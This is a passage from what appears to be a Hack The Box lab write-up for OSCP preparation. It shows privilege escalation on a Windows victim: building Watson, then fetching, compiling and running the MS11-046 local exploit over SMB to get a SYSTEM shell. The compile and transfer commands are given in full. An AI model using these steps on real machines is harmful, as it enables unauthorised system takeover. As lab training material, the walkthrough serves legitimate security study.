We also need to adjust the architecture to match our victim machine. Let’s go into Build, and launch Configuration Manager.

We’ll change the Configuration to Release, and Platform to x86, the same as our victim machine.

Finally, let’s select the Build drop-down again and click Build Watson. The output at the bottom of the window should show you the file location this was built to.

Let’s copy that over to our Kali machine, host it in the SMB fileshare directory, and then execute it on our victim the same way we did Netcat.

We see a TON of exploits available on this box. After researching each one, I decided to try out MS11-046. Since the exploit is listed in Exploit-DB, we should have it locally on our box already. Let’s find it on our system and copy it to our present working directory.
searchsploit ms11-046
locate exploits/windows_x86/local/40564.c
cp /usr/share/exploitdb/exploits/windows_x86/local/40564.c .

Let’s view the source code to get an idea of how the exploit works. We also find that the author provides compiling instructions.
gedit 40564.c

Using those instructions, let’s compile the code.
i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32

Now that we have our privesc executable, let’s move that into our SMB file-share so we can transfer it to the victim.
mv MS11-046.exe smb

Back in our reverse shell, let’s execute our payload. We see that we’re now presented with a shell in the System32 directory.

A quick whoami command confirms that we now have full SYSTEM access.

Key Takeaways

  • Even when you can’t write and execute code directly from disk, remember that there are other methods to pull down files.
  • While Watson may take a little bit of work to get compiled, the benefits are great as it automates the post exploitation enumeration process.
  • Anonymous logins are bad — mm.kay?
Hack The Box

Hack The Box: Upcoming Content

There’s a Reddit post in r/oscp titled: OSCP like boxes on Hack The Box (Credit @TJ_Null on Twitter)

This post showcases the below graphic that outlines a list of machines on HTB that will best prepare you for the OSCP exam. To guide myself in my OSCP journey, and to hopefully help others along the way, I intend to develop write-ups on each box as I hack my way through them.

My goal is to knock out at least the 27 Linux/Windows boxes represented in the Green/Blue columns.